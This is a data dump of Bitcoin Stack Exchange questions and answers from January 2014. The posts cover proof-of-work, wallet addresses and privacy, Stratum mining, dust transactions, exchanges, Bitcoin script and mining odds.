  <row Id="20875" PostTypeId="2" ParentId="20824" CreationDate="2014-01-21T00:50:20.920" Score="1" Body="&lt;p&gt;Bitcoin exchanges are complex networks designed to track bitcoin prices and to allow for secure buying and selling of bitcoins. This requires a vast programming knowledge in order to set up. Seeing that you do not have much of a technical background, I do not recommend venturing into setting an exchange up. That being said there are several exchanges that already exist, such as my favorite BTCe, that you may want to look into.&lt;/p&gt;&#xA;" OwnerUserId="12282" LastActivityDate="2014-01-21T00:50:20.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20877" PostTypeId="2" ParentId="20869" CreationDate="2014-01-21T03:08:32.260" Score="5" Body="&lt;p&gt;Go in the console and type : dumpprivkey &lt;em&gt;litecoinaddress&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the help if nessassary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console is in : Help\Debug Windows&lt;/p&gt;&#xA;" OwnerUserId="12499" LastActivityDate="2014-01-21T03:08:32.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20878" PostTypeId="2" ParentId="20874" CreationDate="2014-01-21T03:49:42.267" Score="1" Body="&lt;p&gt;the Blockchain contains all necessary info to know the balance of every address, including &quot;it's own&quot;. When it downloads the next block, it updates all known balances by adjusting them based on every transaction in the block. This repeats.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-01-21T03:49:42.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20879" PostTypeId="1" CreationDate="2014-01-21T04:11:26.657" Score="13" ViewCount="8706" Body="&lt;p&gt;The bitcoin network, including every miner, is the biggest computing project that humanity has created. Thus I ask: why, instead of using it to generate useless data, don't we use it to generate meaningful data, such as theorem proofs or something similar to folding@home?&lt;/p&gt;&#xA;" OwnerUserId="12500" LastEditorUserId="5406" LastEditDate="2016-02-08T12:50:03.413" LastActivityDate="2018-04-09T10:28:32.157" Title="Why can't we design a bitcoin that does useful work?" Tags="|proof-of-work|algorithms|mining-theory|" AnswerCount="4" CommentCount="5" ClosedDate="2015-04-22T08:04:55.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="20881" PostTypeId="2" ParentId="20865" CreationDate="2014-01-21T04:17:50.687" Score="3" Body="&lt;p&gt;If it were profitable, everyone would be doing it, increasing the difficulty, and making it no longer profitable. Mining is only profitable for you if you have some advantage over other miners.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-21T04:17:50.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20882" PostTypeId="2" ParentId="20879" CreationDate="2014-01-21T04:33:12.467" Score="7" Body="&lt;p&gt;Bitcoin mining is useful work, it secures the Bitcoin block chain. If you want to pay people to do other kinds of work, you can certainly do that, but that has nothing to do with Bitcoin mining. The work Bitcoin miners do is precisely the work needed to secure the Bitcoin block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no known way to make something be both protein folding and also secure the Bitcoin block chain, any more than you can make doing your taxes also protein folding. Hashing wasn't picked arbitrarily, it was picked because it secures the Bitcoin block chain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-21T04:33:12.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20884" PostTypeId="1" AcceptedAnswerId="20892" CreationDate="2014-01-21T05:42:06.620" Score="2" ViewCount="91" Body="&lt;p&gt;Bitcoin wallet has the option of creating a new wallet address for receiving payment. What about for sending? Isn't my &quot;From&quot; address always going to be the same?&lt;/p&gt;&#xA;" OwnerUserId="12505" LastActivityDate="2014-01-21T11:24:41.593" Title="Anonymity while sending payment" Tags="|privacy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20885" PostTypeId="2" ParentId="19588" CreationDate="2014-01-21T06:20:01.640" Score="5" Body="&lt;p&gt;The Stratum server is delivering a partially hashed merkle branch in the response… for which the miner needs to provide, ‘A’ (the generation/coinbase transaction) concatenated with the ‘first’ transaction (B). The remaining elements of the array are ‘pre-computed’ portions of the merkle tree. As indicated on slush’s bitcoin.cz site (&lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;noreferrer&quot;&gt;http://mining.bitcoin.cz/stratum-mining&lt;/a&gt;) “merkle_branch - List of hashes, will be used for calculation of merkle root. This is not a list of all transactions, it only contains prepared hashes of steps of merkle tree algorithm.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The items returned by the Stratum server for the merkle branch are essentially [b,h(c,d)…] pre-computed to reduce the number of calculations required later to complete the merkle root.&lt;/p&gt;&#xA;" OwnerUserId="12503" LastActivityDate="2014-01-21T06:20:01.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20886" PostTypeId="2" ParentId="20879" CreationDate="2014-01-21T07:37:17.900" Score="18" Body="&lt;p&gt;Solving SHA256 hash problems on Bitcoin is useful in the sense that secures the Bitcoin blockchain, but if your question is: &quot;why can't it do something computationally useful as a side-effect?&quot;, then I think the answer is &quot;we don't know how&quot;. For Bitcoin to work, the proof-of-work that miners do must have the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Easy to verify solutions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hard to find solutions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Difficulty of finding solutions can be precisely quantified&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provably inseparable from the block it secures&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cryptographic hash functions like SHA256 satisfy these four properties. I don't think automated theorem proving fits the bill because, as far as I'm aware, there is no way to prove how difficult it was to find the theorem that you proved. General purpose grid computing, like BOINC, doesn't fit the easy-to-verify requirement, at least in the context of Bitcoin. (In fact, I think this is an active area of research in grid computing, called the &quot;cheating problem&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there some proof-of-work scheme that satisfies these four properties and also has some useful computation as a side-effect, that would be interesting. I'm not aware of any.&lt;/p&gt;&#xA;" OwnerUserId="2032" LastEditorUserId="13236" LastEditDate="2018-04-09T10:28:32.157" LastActivityDate="2018-04-09T10:28:32.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20887" PostTypeId="2" ParentId="20849" CreationDate="2014-01-21T08:51:45.463" Score="0" Body="&lt;p&gt;Time to answer my own question. I found &lt;a href=&quot;https://www.biteasy.com&quot; rel=&quot;nofollow&quot;&gt;biteasy&lt;/a&gt;, a &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; type tool, which can also query the testnet and has an API.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://api.biteasy.com/testnet/v1/transactions?address=xxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Retruns a list with all transactions linked to that address. I tried it for a multisig one and it shows &lt;code&gt;BUILDING&lt;/code&gt; which makes sense I guess.&lt;/p&gt;&#xA;" OwnerUserId="11845" LastActivityDate="2014-01-21T08:51:45.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20889" PostTypeId="1" AcceptedAnswerId="30746" CreationDate="2014-01-21T10:18:18.260" Score="4" ViewCount="525" Body="&lt;p&gt;I was reading this thread about making a transaction without an output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12451/are-bitcoin-transactions-permitted-to-have-no-outputs-i-e-all-inputs-become-tr&quot;&gt;Are Bitcoin transactions permitted to have no outputs (i.e. all inputs become transaction fee)?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that outputs under a certain value are considered &quot;dust&quot; or &quot;spam&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reasoning behind this? If the input value minus the output value is above the &lt;code&gt;getMinNonDustValue&lt;/code&gt; minimum limit, why would the transaction be considered &quot;dust&quot;? The coinbase of the block containing this transaction would simply be allowed to be of higher value, which is how fees usually work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my understanding is correct, the network would benefit greatly from a transaction with no outputs. It's fairly easy to circumvent this rule anyway; one could simply add an output that matches &lt;code&gt;getMinNonDustValue&lt;/code&gt; and increase the input by that same amount. Allowing a zero output transaction would mean less network load, less data storage requirement, and most importantly less CPU cycles required because the output script is not necessary in this transaction. There is also the added effect of making miners happy by introducing a new rule that allows &quot;donation only&quot; transactions where all Bitcoin go to the miner who solves that block. &lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2017-06-09T09:45:47.080" Title="Why are transactions with no outputs not relayed by default?" Tags="|transaction-fees|non-standard-transaction|output|transaction-propagation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20890" PostTypeId="2" ParentId="14439" CreationDate="2014-01-21T10:44:02.560" Score="1" Body="&lt;p&gt;I have bought btc robot (gold membership) in september 2013, it did not make money at all, contrary my account had negative balance up until now. it had too many technical problems with btc robot, it did not traded properly so few days ago i asked for refund, they kept me referring clickbetter site. although, there was not enough time to test robot within 60 days because robot did not work properly , and vendor also kept assuring that robot will make money. As you see now this robot is totally rubbish, i definitely not recommend to buy that robot, stay away from that. BTC robot vendor is cheater for me because they took my money&lt;/p&gt;&#xA;" OwnerUserId="12512" LastActivityDate="2014-01-21T10:44:02.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20891" PostTypeId="1" CreationDate="2014-01-21T10:45:36.553" Score="1" ViewCount="122" Body="&lt;p&gt;I am writing a system which generates wallets on a per user basis. It must be capable to receive and send payments. &#xA;So I have to keep the private keys encrypted on the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generating the private and public key with bitcoinj worked like a charm. At the moment I am struggling a bit with the Wallet class in bitcoinj. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to have any threads or connections &quot;outside&quot; of my application. So I want to avoid the usage of the PeerGroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create an offline transaction and then broadcast it myself. For example via blockchain.info or other services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this with bitcoinj? I am reading a lot through the API, but I am missing deeper tutorials for my case. &lt;/p&gt;&#xA;" OwnerUserId="12510" LastEditorUserId="2306" LastEditDate="2014-11-01T14:47:18.963" LastActivityDate="2014-11-01T14:47:18.963" Title="BitcoinJ without PeerNetwork" Tags="|bitcoinj|java|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20892" PostTypeId="2" ParentId="20884" CreationDate="2014-01-21T11:24:41.593" Score="2" Body="&lt;p&gt;I think you have misunderstood something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of generating a new address for receiving a payment is that this address is not connected to any other address, and when it is eventually used to make a payment - that is where the trail ends. ie a new receiving address &lt;em&gt;becomes&lt;/em&gt; a sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do this systematically, and never send coins to the same address (either through change, or by consolidating your holding into one address) then you have pretty good anonymity. &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-21T11:24:41.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20893" PostTypeId="2" ParentId="20867" CreationDate="2014-01-21T11:40:41.313" Score="0" Body="&lt;p&gt;I agree this may be a duplicate question, but fundamentally you probably need to understand what is going on to understand what is at risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is where the record of of your bitcoins are kept - they are not &quot;on your computer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &quot;on your computer&quot; is a set of keys which allow you to &quot;approve&quot; a transaction to move Bitcoins from a specified address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two keys:&#xA;Private Key&#xA;Public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is used to generate the public key, so as long as you have the private key, then you have the ability to:&#xA;a) create a public key&#xA;b) sign transactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot derive the private key from the public key - that would break all cryptography!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not have to do this with the Bitcoin QT client - there are other alternatives, Multibit being a good alternative as it is very quick to syncronise, and you can upload private keys easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you keep only one copy of that private key - then you may have a problem if it gets lost or destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you should keep multiple copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question specifically - if you do not copy the file correctly you are screwed. If your computer is hacked, you are potentially screwed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout the link in the comment from @frisco for more information.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-21T11:40:41.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20894" PostTypeId="2" ParentId="20818" CreationDate="2014-01-21T11:49:24.857" Score="1" Body="&lt;p&gt;You cannot predict the change in difficulty because that is a function of a number of factors that are completely unknowable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the difficulty changes because a large number of mining pools suddenly appear and have very powerful ASICs and a lot of them. How would you ever be able to &quot;predict&quot; this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is the opposite case, that the technology has reached it's absolute maximum and there are no new chips yet invented that could give performance boost. Although new miners enter the market, this does not fundamentally change the rate at which the new blocks are discovered, because fundamentally the chips being used are no more powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How on earth would you be able to determine that this has happened or is occurring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At best any calculator would be guessing.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-21T11:49:24.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20895" PostTypeId="1" CreationDate="2014-01-21T13:17:10.540" Score="4" ViewCount="325" Body="&lt;p&gt;There are several exchanges for Bitcoin with a few highly respected ones like Mt.Gox, Bitstamp, bter, bit-e etc. I understand the reason why they require verification of users by supplying their bank information along with government ID and address proof. However, most of these exchanges decide to keep themselves anonymous to an extent. They don't mention the founding/management team on their website. I'm sure it's possible to find out for some by googling. I don't feel comfortable that they want all the information from me without disclosing anything about themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also raises the question about what level of security practices and audit do they have in place. I have read several stories about &lt;em&gt;hacking of exchanges&lt;/em&gt;, &lt;em&gt;stolen databases/wallets&lt;/em&gt;, &lt;em&gt;nightmare to withdraw&lt;/em&gt; money etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a source of information that compares these exchanges in terms of real world incidents, fee structure, and the backing team behind them?&lt;/strong&gt; Basically looking for a reliability and customer service rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : After &lt;a href=&quot;http://en.wikipedia.org/wiki/Mt._Gox#February_2014_hacking.2C_losses.2C_shutdown_and_bankruptcy&quot; rel=&quot;nofollow&quot;&gt;Mt Gox's&lt;/a&gt; supposed failure, this question feels more relevant. I find myself fortunate that I avoided them. Especially since there were news about a large scale &lt;a href=&quot;http://pando.com/2014/03/03/hackers-claim-to-have-breached-mt-gox-again-could-they-be-its-victims-best-hope/&quot; rel=&quot;nofollow&quot;&gt;customer data loss&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12440" LastEditorUserId="12440" LastEditDate="2014-03-08T14:43:19.090" LastActivityDate="2014-07-14T14:37:33.217" Title="How can one gauge the reliability, customer service, and transparency of bitcoin exchanges?" Tags="|security|exchanges|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20896" PostTypeId="1" CreationDate="2014-01-21T14:09:33.353" Score="0" ViewCount="177" Body="&lt;p&gt;I'm learning a lot about coin markets. Now i'm wondering&lt;/p&gt;&#xA;&lt;h3&gt;What are the effects of a buy wall? or a sell wall? Do they affect the market in any way?&lt;/h3&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12519" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-21T14:09:33.353" Title="The effects of a 'buy wall' on the market?" Tags="|exchanges|trading|" AnswerCount="0" CommentCount="3" ClosedDate="2014-01-25T03:24:44.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="20897" PostTypeId="2" ParentId="8031" CreationDate="2014-01-21T15:33:58.673" Score="49" Body="&lt;p&gt;They try to find a random nonce (a little random data) that goes into a block and makes the block have a (SHA256) hash that (in binary) starts with a certain amount of 0's. The more zeroes the more rare hash is. A good hash' outcome is not predictable, and so you have to try a lot of times to find a good nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of zeroes are based on how difficult it is supposed to be to find a block. In Bitcoin it adjusts to have a new block every 10 minutes (on average, given the rate at which previous blocks are found).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting: because the hashes are unpredictable it doesn't matter how the nonce changes! Most of the time it's just a number counting upwards from 0!&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-01-21T15:33:58.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20898" PostTypeId="1" AcceptedAnswerId="20899" CreationDate="2014-01-21T16:54:53.960" Score="2" ViewCount="183" Body="&lt;p&gt;This very interesting &lt;a href=&quot;http://finance.fortune.cnn.com/2014/01/21/bitcoin-platform/&quot; rel=&quot;nofollow&quot;&gt;CCN Money article&lt;/a&gt; states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a script uses a data input such as a regular Google search to monitor&#xA;  real-world events that would automatically trigger disbursements or&#xA;  other actions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This part of the article suggests that the Bitcoin script could monitor external events, such as the result of a Google search, to trigger transfers. Can the Bitcoin script really do that?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-21T18:08:39.827" Title="Can the Bitcoin script make a Google search?" Tags="|script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20899" PostTypeId="2" ParentId="20898" CreationDate="2014-01-21T18:08:39.827" Score="2" Body="&lt;p&gt;Bitcoin scripts are intentionally very limited, and can only access data inherent to the transaction (not even the blockchain it is in), in order to guarantee consistency (a script's validity cannot change over time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there do exist ways to integrate external state into Bitcoin, through the use of oracles. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot; rel=&quot;nofollow&quot;&gt;this wiki page&lt;/a&gt; for more information about those.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-21T18:08:39.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20901" PostTypeId="1" AcceptedAnswerId="20902" CreationDate="2014-01-21T19:30:49.443" Score="9" ViewCount="7148" Body="&lt;p&gt;I'm still unsure when to use &lt;code&gt;Bitcoin&lt;/code&gt; and when &lt;code&gt;bitcoin&lt;/code&gt; is more appropriate. Did anyone define when to use the word Bitcoin with a capital &lt;code&gt;B&lt;/code&gt;? Is one used to talk about the currency as in &quot;3 Bitcoin&quot; and the other for the &quot;bitcoin protocol&quot;?&lt;/p&gt;&#xA;" OwnerUserId="11845" LastActivityDate="2014-01-21T19:40:29.120" Title="Correct use of the word Bitcoin" Tags="|protocol|currencies|legal|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-04T05:49:05.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="20902" PostTypeId="2" ParentId="20901" CreationDate="2014-01-21T19:40:20.960" Score="7" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Introduction&quot; rel=&quot;noreferrer&quot;&gt;Introduction&lt;/a&gt; on the Bitcoin wiki:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Capitalization / Nomenclature&lt;/h1&gt;&#xA;&lt;p&gt;Since Bitcoin is both a currency and a protocol, capitalization can be confusing. Accepted practice is to use Bitcoin (singular with an upper case letter B) to label the protocol, software, and community, and bitcoins (with a lower case b) to label units of the currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, the accepted usage in your example would be &amp;quot;3 bitcoin&amp;quot; and the &amp;quot;Bitcoin protocol&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-21T19:40:20.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20903" PostTypeId="2" ParentId="20901" CreationDate="2014-01-21T19:40:29.120" Score="4" Body="&lt;p&gt;Bitcoin (capital B) is the name of a currency, a technology, and a movement. A bitcoin (small b) is a unit of this currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &quot;After hearing about Bitcoin, I've installed a Bitcoin client and bought 3 bitcoins.&quot;&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-21T19:40:29.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20904" PostTypeId="2" ParentId="20849" CreationDate="2014-01-21T19:44:02.900" Score="1" Body="&lt;p&gt;It seems that you figured it out yourself so I just want to add that we are going to add multisig support for mainnet as well in a few days and you will be able to use that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUILDING means that the transaction has been included in a block and it's confidence is &quot;building&quot;. There is also a field &lt;strong&gt;confirmations&lt;/strong&gt; which you can use as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multisig functionality is pretty new to the site and that's why we haven't documented it yet. It will be done asap.&lt;/p&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-01-21T20:08:47.973" LastActivityDate="2014-01-21T20:08:47.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20905" PostTypeId="1" CreationDate="2014-01-21T19:46:24.947" Score="1" ViewCount="203" Body="&lt;p&gt;I have a mobile point of sale app for local businesses.  We want to integrate Bitcoin as a new payment processor for our merchants.  We currently charge $.30 per transaction for credit card swipes and we want to charge the Bitcoin equivalent. How do we grab a transaction fee for submitting the transactions on the merchants behalf via our app?  I mean, how do we do this in Bitcoin? Is there a property in BitPay we can use that says pay this API_Key this fee amount?&lt;/p&gt;&#xA;" OwnerUserId="12526" LastEditorUserId="2306" LastEditDate="2017-04-26T21:44:24.677" LastActivityDate="2017-04-26T21:44:24.677" Title="How to charge a fee to process Bitcoin payments in a mobile point of sale app?" Tags="|transaction-fees|payment-processors|point-of-sale|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20907" PostTypeId="2" ParentId="18633" CreationDate="2014-01-21T19:58:39.707" Score="1" Body="&lt;p&gt;Your solution will least at most a year until dynamically reconfigurable FPGAs appears in the market. Then creating any logic circuit on the fly will be possible, and so efficient FPGAs will outperform CPUs by a large margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for example: &lt;a href=&quot;http://en.wikipedia.org/wiki/Partial_re-configuration&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Partial_re-configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="638" LastActivityDate="2014-01-21T19:58:39.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20908" PostTypeId="2" ParentId="20467" CreationDate="2014-01-21T20:12:01.627" Score="1" Body="&lt;p&gt;The negative balance was a bug which we have already fixed. You can now see that it's correct and agrees with the one from blockexplorer.com:&#xA;&lt;a href=&quot;https://www.biteasy.com/testnet/addresses/n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU&quot; rel=&quot;nofollow&quot;&gt;https://www.biteasy.com/testnet/addresses/n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12525" LastActivityDate="2014-01-21T20:12:01.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20909" PostTypeId="1" CreationDate="2014-01-21T20:41:50.023" Score="0" ViewCount="289" Body="&lt;p&gt;Having a hard time getting the amount of testnet coins I need. Anyone know a way of getting a rather large amount of testnet coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can spare some:mvhTdSXUhs812vY5t1StAKohwid5GwALgK&lt;/p&gt;&#xA;" OwnerUserId="12528" LastActivityDate="2014-01-27T17:54:37.310" Title="Looking for testnet coins" Tags="|testnet|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-05T02:47:30.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="20911" PostTypeId="1" CreationDate="2014-01-21T21:03:33.393" Score="0" ViewCount="122" Body="&lt;p&gt;Is there an implementation of color coins on the bitcoin blockchain yet? a demo would be great. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-04-24T14:01:51.900" Title="Is there an implemented color coin demo for bitcoin?" Tags="|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20912" PostTypeId="1" AcceptedAnswerId="20916" CreationDate="2014-01-21T21:12:05.633" Score="2" ViewCount="3830" Body="&lt;p&gt;I've been trying out different Bitcoin services and I've run into a bit of a conundrum with Coinbase. I purchased a small amount of Bitcoin several days ago and this morning, the transaction was marked as complete and showed up in my balance. However, the listed address under &lt;code&gt;Account Settings &amp;gt; Bitcoin Addresses&lt;/code&gt; has no history and no BTC associated with it when viewed on &lt;code&gt;blockchain.info&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this expected behaviour? The initial purchase stated that the bitcoins would arrive by the end of the day today. Does this mean that the &quot;completed&quot; transaction is not in fact complete yet and I'm still waiting on Coinbase? I've emailed Coinbase about this matter as well and will update this post in any case. Just figured I might get a faster response from more experienced users here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just found &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17113/bitcoin-address-does-not-show-transaction-balance-from-coinbase-purchase?rq=1&quot;&gt;this post&lt;/a&gt; and I suspect that it serves as a sufficient answer to my question. If anyone else has any comments to add, please do :)&lt;/p&gt;&#xA;" OwnerUserId="12530" LastEditorUserId="5406" LastEditDate="2015-01-11T14:14:17.680" LastActivityDate="2015-01-11T14:14:17.680" Title="Why doesn't my balance bought on Coinbase show up on Blockchain.info?" Tags="|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20914" PostTypeId="2" ParentId="20824" CreationDate="2014-01-21T21:52:11.257" Score="0" Body="&lt;p&gt;Check this opensource exchange for altcoins, with right hands you might contribute code for fiat:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/r3wt/openex&quot; rel=&quot;nofollow&quot;&gt;https://github.com/r3wt/openex&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a bitcointalk thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=320975.0;all&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=320975.0;all&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11288" LastActivityDate="2014-01-21T21:52:11.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20915" PostTypeId="2" ParentId="14188" CreationDate="2014-01-21T22:14:06.950" Score="4" Body="&lt;p&gt;I use mine in &quot;lottery mode&quot; as I call it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't really consume too much energy, so I just let them solo mine. Big chance will turn out to be nothing, but with some luck they will ever find a block and cash in 25 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How low the chance may be, it's still a lot higher than winning the ordinary lottery and way cooler :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: A quick calculation of your odds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current (2014/01/24 23:07) chance of a hash to be a winning hash is &lt;a href=&quot;https://blockexplorer.com/q/probability&quot; rel=&quot;nofollow&quot;&gt;0.0000000000000000001061272725905534506860017351925762341&lt;/a&gt;. Then the odds of winning each day are for one block erupter USB of 330MH/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0.0000000000000000001061272725905534506860017351925762341 * 330*10^6 * 60*60*24 = 1 / 330480.1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one chance in 330,480 each day or one chance in 905 a year (of course, changing difficulty has to be taken into account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take the Powerball lottery as a reference as Earlz mentions, it has odds of one in 648,975.96 to win $10,000 one in 5,153,632.65 to win $1,000,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, every day you have double the chance to win 25 BTC than you have to win $10k, which is less and costs you probably a dollar or two to enter.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-01-24T22:13:09.297" LastActivityDate="2014-01-24T22:13:09.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
